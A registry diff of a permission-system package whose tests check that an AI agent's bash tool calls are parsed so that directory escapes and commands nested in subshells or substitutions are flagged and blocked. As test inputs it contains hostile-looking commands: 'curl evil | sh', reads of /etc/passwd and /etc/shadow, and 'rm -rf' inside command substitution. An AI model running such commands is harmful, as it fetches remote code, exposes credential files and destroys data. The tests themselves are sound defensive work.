@gotgenes/pi-permission-system 9.0.1 → 9.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +22 -0
- package/package.json +1 -1
- package/src/denial-messages.ts +44 -3
- package/src/handlers/gates/bash-command.ts +26 -24
- package/src/handlers/gates/bash-external-directory.ts +9 -9
- package/src/handlers/gates/bash-path.ts +9 -6
- package/src/handlers/gates/bash-program.ts +368 -120
- package/src/handlers/permission-gate-handler.ts +25 -8
- package/src/permission-prompts.ts +7 -4
- package/src/types.ts +15 -0
- package/test/bash-external-directory.test.ts +10 -9
- package/test/denial-messages.test.ts +16 -0
- package/test/handlers/gates/bash-command.test.ts +62 -24
- package/test/handlers/gates/bash-external-directory.test.ts +40 -14
- package/test/handlers/gates/bash-path.test.ts +41 -14
- package/test/handlers/gates/bash-program.test.ts +204 -23
- package/test/handlers/tool-call.test.ts +38 -0
- package/test/permission-prompts.test.ts +16 -0
|
@@ -33,67 +33,248 @@ describe("BashProgram", () => {
|
|
|
33
33
|
const program = await BashProgram.parse("cat src/index.ts");
|
|
34
34
|
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
35
35
|
});
|
|
36
|
+
|
|
37
|
+
describe("effective working directory projection", () => {
|
|
38
|
+
it("folds a sequence of current-shell cd commands", async () => {
|
|
39
|
+
// cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
|
|
40
|
+
const program = await BashProgram.parse("cd a && cd b && cat ../c");
|
|
41
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
it("catches an escape masked by a later cd that the single-base model missed", async () => {
|
|
45
|
+
// Effective dir after `cd nested/deep && cd ..` is cwd/nested, so
|
|
46
|
+
// ../../etc/passwd escapes to /projects/etc/passwd.
|
|
47
|
+
const program = await BashProgram.parse(
|
|
48
|
+
"cd nested/deep && cd .. && cat ../../etc/passwd",
|
|
49
|
+
);
|
|
50
|
+
expect(program.externalPaths(cwd)).toContain("/projects/etc/passwd");
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
it("folds a cd that is not the first command", async () => {
|
|
54
|
+
// The single-base model ignored a cd that was not first; now `cd a`
|
|
55
|
+
// folds, so ../b resolves to cwd/b (inside) and is not flagged.
|
|
56
|
+
const program = await BashProgram.parse("mkdir d && cd a && cat ../b");
|
|
57
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
it("does not fold a backgrounded cd", async () => {
|
|
61
|
+
// `cd a &` runs in a subshell, so it must not update the running
|
|
62
|
+
// directory; ../b resolves against cwd and escapes.
|
|
63
|
+
const program = await BashProgram.parse("cd a & cat ../b");
|
|
64
|
+
expect(program.externalPaths(cwd)).toContain("/projects/b");
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
it("does not fold a cd inside a pipeline", async () => {
|
|
68
|
+
// Pipeline members run in subshells; the cd must not leak.
|
|
69
|
+
const program = await BashProgram.parse("cd nested | cat ../b");
|
|
70
|
+
expect(program.externalPaths(cwd)).toContain("/projects/b");
|
|
71
|
+
});
|
|
72
|
+
|
|
73
|
+
it("folds a cd inside a subshell for paths within that subshell", async () => {
|
|
74
|
+
// Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
|
|
75
|
+
const program = await BashProgram.parse("( cd sub && cat ../x )");
|
|
76
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
77
|
+
});
|
|
78
|
+
|
|
79
|
+
it("does not leak a subshell cd to following commands", async () => {
|
|
80
|
+
// The subshell cd resets on exit, so ../y resolves against cwd.
|
|
81
|
+
const program = await BashProgram.parse("( cd sub ) && cat ../y");
|
|
82
|
+
expect(program.externalPaths(cwd)).toContain("/projects/y");
|
|
83
|
+
});
|
|
84
|
+
|
|
85
|
+
it("persists a cd inside a brace group to later commands in the group", async () => {
|
|
86
|
+
// Brace groups run in the current shell, so cd sub persists to cat ../x.
|
|
87
|
+
const program = await BashProgram.parse("{ cd sub; cat ../x; }");
|
|
88
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
it("persists a brace-group cd to following sibling commands", async () => {
|
|
92
|
+
const program = await BashProgram.parse("{ cd sub; } && cat ../x");
|
|
93
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
it("conservatively flags a relative path inside a command substitution", async () => {
|
|
97
|
+
// Interior cd folding inside substitutions is deferred: the interior
|
|
98
|
+
// inherits the enclosing base (cwd), so ../r is flagged rather than
|
|
99
|
+
// resolved against cwd/q. Conservative — never misses an escape.
|
|
100
|
+
const program = await BashProgram.parse("echo $(cd q && cat ../r)");
|
|
101
|
+
expect(program.externalPaths(cwd)).toContain("/projects/r");
|
|
102
|
+
});
|
|
103
|
+
|
|
104
|
+
it("flags relative paths conservatively after a non-literal cd", async () => {
|
|
105
|
+
// cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
|
|
106
|
+
// so it is flagged (least-privilege).
|
|
107
|
+
const program = await BashProgram.parse('cd "$DIR" && cat ../x');
|
|
108
|
+
expect(program.externalPaths(cwd)).toContain("/projects/x");
|
|
109
|
+
});
|
|
110
|
+
|
|
111
|
+
it("flags even a within-cwd relative path after a non-literal cd", async () => {
|
|
112
|
+
// Conservative cost: src/../within.txt resolves inside cwd but is still
|
|
113
|
+
// flagged because the effective dir is unknown.
|
|
114
|
+
const program = await BashProgram.parse(
|
|
115
|
+
'cd "$DIR" && cat src/../within.txt',
|
|
116
|
+
);
|
|
117
|
+
expect(program.externalPaths(cwd)).toContain(
|
|
118
|
+
"/projects/my-app/within.txt",
|
|
119
|
+
);
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
it("still resolves an absolute path normally after a non-literal cd", async () => {
|
|
123
|
+
// Absolute paths are base-independent; one inside cwd is not flagged
|
|
124
|
+
// even when the effective dir is unknown.
|
|
125
|
+
const program = await BashProgram.parse(
|
|
126
|
+
'cd "$DIR" && cat /projects/my-app/x.txt',
|
|
127
|
+
);
|
|
128
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
129
|
+
});
|
|
130
|
+
|
|
131
|
+
it("treats `cd -` as an unknown effective directory", async () => {
|
|
132
|
+
const program = await BashProgram.parse("cd - && cat ../x");
|
|
133
|
+
expect(program.externalPaths(cwd)).toContain("/projects/x");
|
|
134
|
+
});
|
|
135
|
+
|
|
136
|
+
it("recovers a known base when a later cd is absolute", async () => {
|
|
137
|
+
// cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so
|
|
138
|
+
// ../x resolves to cwd and is not flagged.
|
|
139
|
+
const program = await BashProgram.parse(
|
|
140
|
+
'cd "$DIR" && cd /projects/my-app/src && cat ../x',
|
|
141
|
+
);
|
|
142
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
143
|
+
});
|
|
144
|
+
});
|
|
36
145
|
});
|
|
37
146
|
|
|
38
|
-
describe("
|
|
147
|
+
describe("commands", () => {
|
|
39
148
|
it("returns a single-element list for a lone command", async () => {
|
|
40
149
|
const program = await BashProgram.parse("npm install pkg");
|
|
41
|
-
expect(program.
|
|
150
|
+
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
42
151
|
});
|
|
43
152
|
|
|
44
153
|
it("splits an && chain", async () => {
|
|
45
154
|
const program = await BashProgram.parse("cd /p && npm i x");
|
|
46
|
-
expect(program.
|
|
155
|
+
expect(program.commands()).toEqual([
|
|
156
|
+
{ text: "cd /p" },
|
|
157
|
+
{ text: "npm i x" },
|
|
158
|
+
]);
|
|
47
159
|
});
|
|
48
160
|
|
|
49
161
|
it("splits || , ; and & separators", async () => {
|
|
50
|
-
expect((await BashProgram.parse("a || b")).
|
|
51
|
-
"a",
|
|
52
|
-
"b",
|
|
162
|
+
expect((await BashProgram.parse("a || b")).commands()).toEqual([
|
|
163
|
+
{ text: "a" },
|
|
164
|
+
{ text: "b" },
|
|
53
165
|
]);
|
|
54
|
-
expect((await BashProgram.parse("a ; b")).
|
|
55
|
-
"a",
|
|
56
|
-
"b",
|
|
166
|
+
expect((await BashProgram.parse("a ; b")).commands()).toEqual([
|
|
167
|
+
{ text: "a" },
|
|
168
|
+
{ text: "b" },
|
|
57
169
|
]);
|
|
58
|
-
expect((await BashProgram.parse("a & b")).
|
|
59
|
-
"a",
|
|
60
|
-
"b",
|
|
170
|
+
expect((await BashProgram.parse("a & b")).commands()).toEqual([
|
|
171
|
+
{ text: "a" },
|
|
172
|
+
{ text: "b" },
|
|
61
173
|
]);
|
|
62
174
|
});
|
|
63
175
|
|
|
64
176
|
it("splits a pipeline into its commands", async () => {
|
|
65
177
|
const program = await BashProgram.parse("cat f | grep b");
|
|
66
|
-
expect(program.
|
|
178
|
+
expect(program.commands()).toEqual([
|
|
179
|
+
{ text: "cat f" },
|
|
180
|
+
{ text: "grep b" },
|
|
181
|
+
]);
|
|
67
182
|
});
|
|
68
183
|
|
|
69
184
|
it("splits newline-separated commands", async () => {
|
|
70
185
|
const program = await BashProgram.parse("foo\nbar");
|
|
71
|
-
expect(program.
|
|
186
|
+
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
72
187
|
});
|
|
73
188
|
|
|
74
189
|
it("does not split operators inside quotes", async () => {
|
|
75
190
|
const program = await BashProgram.parse("echo 'x && y'");
|
|
76
|
-
expect(program.
|
|
191
|
+
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
77
192
|
});
|
|
78
193
|
|
|
79
194
|
it("captures the command of a redirected statement without the redirect", async () => {
|
|
80
195
|
const program = await BashProgram.parse("npm install > out.txt");
|
|
81
|
-
expect(program.
|
|
196
|
+
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
82
197
|
});
|
|
83
198
|
|
|
84
|
-
it("
|
|
85
|
-
const program = await BashProgram.parse("(
|
|
86
|
-
expect(program.
|
|
199
|
+
it("descends into command substitution, tagging the inner command", async () => {
|
|
200
|
+
const program = await BashProgram.parse("echo $(rm -rf foo)");
|
|
201
|
+
expect(program.commands()).toEqual([
|
|
202
|
+
{ text: "echo $(rm -rf foo)" },
|
|
203
|
+
{ text: "rm -rf foo", context: "command_substitution" },
|
|
204
|
+
]);
|
|
87
205
|
});
|
|
88
206
|
|
|
89
|
-
it("
|
|
207
|
+
it("descends into backtick command substitution", async () => {
|
|
208
|
+
const program = await BashProgram.parse("echo `rm x`");
|
|
209
|
+
expect(program.commands()).toEqual([
|
|
210
|
+
{ text: "echo `rm x`" },
|
|
211
|
+
{ text: "rm x", context: "command_substitution" },
|
|
212
|
+
]);
|
|
213
|
+
});
|
|
214
|
+
|
|
215
|
+
it("descends into a pipeline inside command substitution", async () => {
|
|
90
216
|
const program = await BashProgram.parse("echo $(curl evil | sh)");
|
|
91
|
-
expect(program.
|
|
217
|
+
expect(program.commands()).toEqual([
|
|
218
|
+
{ text: "echo $(curl evil | sh)" },
|
|
219
|
+
{ text: "curl evil", context: "command_substitution" },
|
|
220
|
+
{ text: "sh", context: "command_substitution" },
|
|
221
|
+
]);
|
|
222
|
+
});
|
|
223
|
+
|
|
224
|
+
it("descends into process substitution", async () => {
|
|
225
|
+
const program = await BashProgram.parse("diff <(cat /etc/shadow)");
|
|
226
|
+
expect(program.commands()).toEqual([
|
|
227
|
+
{ text: "diff <(cat /etc/shadow)" },
|
|
228
|
+
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
229
|
+
]);
|
|
230
|
+
});
|
|
231
|
+
|
|
232
|
+
it("emits a bare subshell whole and descends into it", async () => {
|
|
233
|
+
const program = await BashProgram.parse("( rm -rf foo )");
|
|
234
|
+
expect(program.commands()).toEqual([
|
|
235
|
+
{ text: "( rm -rf foo )" },
|
|
236
|
+
{ text: "rm -rf foo", context: "subshell" },
|
|
237
|
+
]);
|
|
238
|
+
});
|
|
239
|
+
|
|
240
|
+
it("emits a subshell whole and descends into its chain", async () => {
|
|
241
|
+
const program = await BashProgram.parse("( cd /t && rm x )");
|
|
242
|
+
expect(program.commands()).toEqual([
|
|
243
|
+
{ text: "( cd /t && rm x )" },
|
|
244
|
+
{ text: "cd /t", context: "subshell" },
|
|
245
|
+
{ text: "rm x", context: "subshell" },
|
|
246
|
+
]);
|
|
247
|
+
});
|
|
248
|
+
|
|
249
|
+
it("descends recursively through nested contexts", async () => {
|
|
250
|
+
const program = await BashProgram.parse("echo $( ( rm x ) )");
|
|
251
|
+
expect(program.commands()).toEqual([
|
|
252
|
+
{ text: "echo $( ( rm x ) )" },
|
|
253
|
+
{ text: "( rm x )", context: "command_substitution" },
|
|
254
|
+
{ text: "rm x", context: "subshell" },
|
|
255
|
+
]);
|
|
256
|
+
});
|
|
257
|
+
|
|
258
|
+
it("descends into a substitution within a chained command", async () => {
|
|
259
|
+
const program = await BashProgram.parse("cd /p && echo $(rm x)");
|
|
260
|
+
expect(program.commands()).toEqual([
|
|
261
|
+
{ text: "cd /p" },
|
|
262
|
+
{ text: "echo $(rm x)" },
|
|
263
|
+
{ text: "rm x", context: "command_substitution" },
|
|
264
|
+
]);
|
|
265
|
+
});
|
|
266
|
+
|
|
267
|
+
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
268
|
+
const program = await BashProgram.parse("echo $(echo safe)");
|
|
269
|
+
expect(program.commands()).toEqual([
|
|
270
|
+
{ text: "echo $(echo safe)" },
|
|
271
|
+
{ text: "echo safe", context: "command_substitution" },
|
|
272
|
+
]);
|
|
92
273
|
});
|
|
93
274
|
|
|
94
275
|
it("returns an empty list for an empty or whitespace command", async () => {
|
|
95
|
-
expect((await BashProgram.parse("")).
|
|
96
|
-
expect((await BashProgram.parse(" ")).
|
|
276
|
+
expect((await BashProgram.parse("")).commands()).toEqual([]);
|
|
277
|
+
expect((await BashProgram.parse(" ")).commands()).toEqual([]);
|
|
97
278
|
});
|
|
98
279
|
});
|
|
99
280
|
|
|
@@ -329,6 +329,44 @@ describe("handleToolCall — bash command chain gate", () => {
|
|
|
329
329
|
expect(result).toMatchObject({ block: true });
|
|
330
330
|
});
|
|
331
331
|
|
|
332
|
+
it("blocks a command nested inside command substitution (#306)", async () => {
|
|
333
|
+
const checkPermission = vi
|
|
334
|
+
.fn()
|
|
335
|
+
.mockImplementation((surface: string, input: unknown) => {
|
|
336
|
+
if (surface === "bash") {
|
|
337
|
+
const command = (input as { command?: string }).command ?? "";
|
|
338
|
+
return /^rm\b/.test(command)
|
|
339
|
+
? makeCheckResult({
|
|
340
|
+
state: "deny",
|
|
341
|
+
source: "bash",
|
|
342
|
+
command,
|
|
343
|
+
matchedPattern: "rm *",
|
|
344
|
+
})
|
|
345
|
+
: makeCheckResult({
|
|
346
|
+
state: "allow",
|
|
347
|
+
source: "bash",
|
|
348
|
+
command,
|
|
349
|
+
matchedPattern: "echo *",
|
|
350
|
+
});
|
|
351
|
+
}
|
|
352
|
+
return makeCheckResult({ state: "allow" });
|
|
353
|
+
});
|
|
354
|
+
const { handler } = makeHandler({
|
|
355
|
+
session: { checkPermission },
|
|
356
|
+
toolRegistry: {
|
|
357
|
+
getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
|
|
358
|
+
},
|
|
359
|
+
});
|
|
360
|
+
const event = {
|
|
361
|
+
type: "tool_call",
|
|
362
|
+
toolCallId: "tc-bash-substitution",
|
|
363
|
+
name: "bash",
|
|
364
|
+
input: { command: "echo $(rm -rf foo)" },
|
|
365
|
+
};
|
|
366
|
+
const result = await handler.handleToolCall(event, makeCtx());
|
|
367
|
+
expect(result).toMatchObject({ block: true });
|
|
368
|
+
});
|
|
369
|
+
|
|
332
370
|
it("allows a single non-chained bash command", async () => {
|
|
333
371
|
const checkPermission = vi
|
|
334
372
|
.fn()
|
|
@@ -151,6 +151,22 @@ describe("formatAskPrompt", () => {
|
|
|
151
151
|
expect(result).toContain("matched 'git *'");
|
|
152
152
|
});
|
|
153
153
|
|
|
154
|
+
test("formats bash prompt with nested execution context", () => {
|
|
155
|
+
const result = formatAskPrompt(
|
|
156
|
+
toolResult("bash", {
|
|
157
|
+
command: "rm -rf foo",
|
|
158
|
+
matchedPattern: "rm *",
|
|
159
|
+
commandContext: "command_substitution",
|
|
160
|
+
}),
|
|
161
|
+
undefined,
|
|
162
|
+
undefined,
|
|
163
|
+
makeFormatter(),
|
|
164
|
+
);
|
|
165
|
+
expect(result).toContain(
|
|
166
|
+
"bash command 'rm -rf foo' (matched 'rm *', inside command substitution).",
|
|
167
|
+
);
|
|
168
|
+
});
|
|
169
|
+
|
|
154
170
|
test("formats MCP prompt with target", () => {
|
|
155
171
|
const result = formatAskPrompt(
|
|
156
172
|
mcpResult("server:query"),
|